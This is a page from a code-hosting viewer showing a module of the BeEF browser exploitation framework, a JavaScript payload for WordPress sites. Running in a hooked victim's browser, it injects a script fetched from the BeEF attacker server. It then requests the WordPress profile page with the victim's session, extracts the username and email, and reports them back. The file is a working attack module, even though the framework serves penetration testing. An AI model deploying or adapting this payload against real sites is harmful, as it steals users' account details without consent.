Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/misc/wordpress/current_user_info/command.js
1154 views
1
/*
2
Copyright (c) Browser Exploitation Framework (BeEF) - https://beefproject.com
3
See the file 'doc/COPYING' for copying permission
4
5
Author @erwan_lr (WPScanTeam) - https://wpscan.org/
6
*/
7
8
9
beef.execute(function() {
10
beef_command_url = '<%= @command_url %>';
11
beef_command_id = <%= @command_id %>;
12
13
// Adds wp.js to the DOM so we can use some functions here
14
if (typeof get_nonce !== 'function') {
15
var wp_script = document.createElement('script');
16
17
wp_script.setAttribute('type', 'text/javascript');
18
wp_script.setAttribute('src', beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/wp.js');
19
var theparent = document.getElementsByTagName('head')[0];
20
theparent.insertBefore(wp_script, theparent.firstChild);
21
}
22
23
var user_profile_path = '<%= @wp_path %>wp-admin/profile.php'
24
25
function process_profile_page(xhr) {
26
if (xhr.status == 200) {
27
username = xhr.responseXML.getElementById('user_login').getAttribute('value');
28
email = xhr.responseXML.getElementById('email').getAttribute('value');
29
30
log('Username: ' + username + ', Email: ' + email, 'success');
31
} else {
32
log('GET ' + user_profile_path + ' - Status ' + xhr.status, 'error');
33
}
34
}
35
36
// Timeout needed for the wp.js to be loaded first
37
setTimeout(
38
function() { get(user_profile_path, function(response) { process_profile_page(response) }) },
39
300
40
);
41
42
});
43
44
45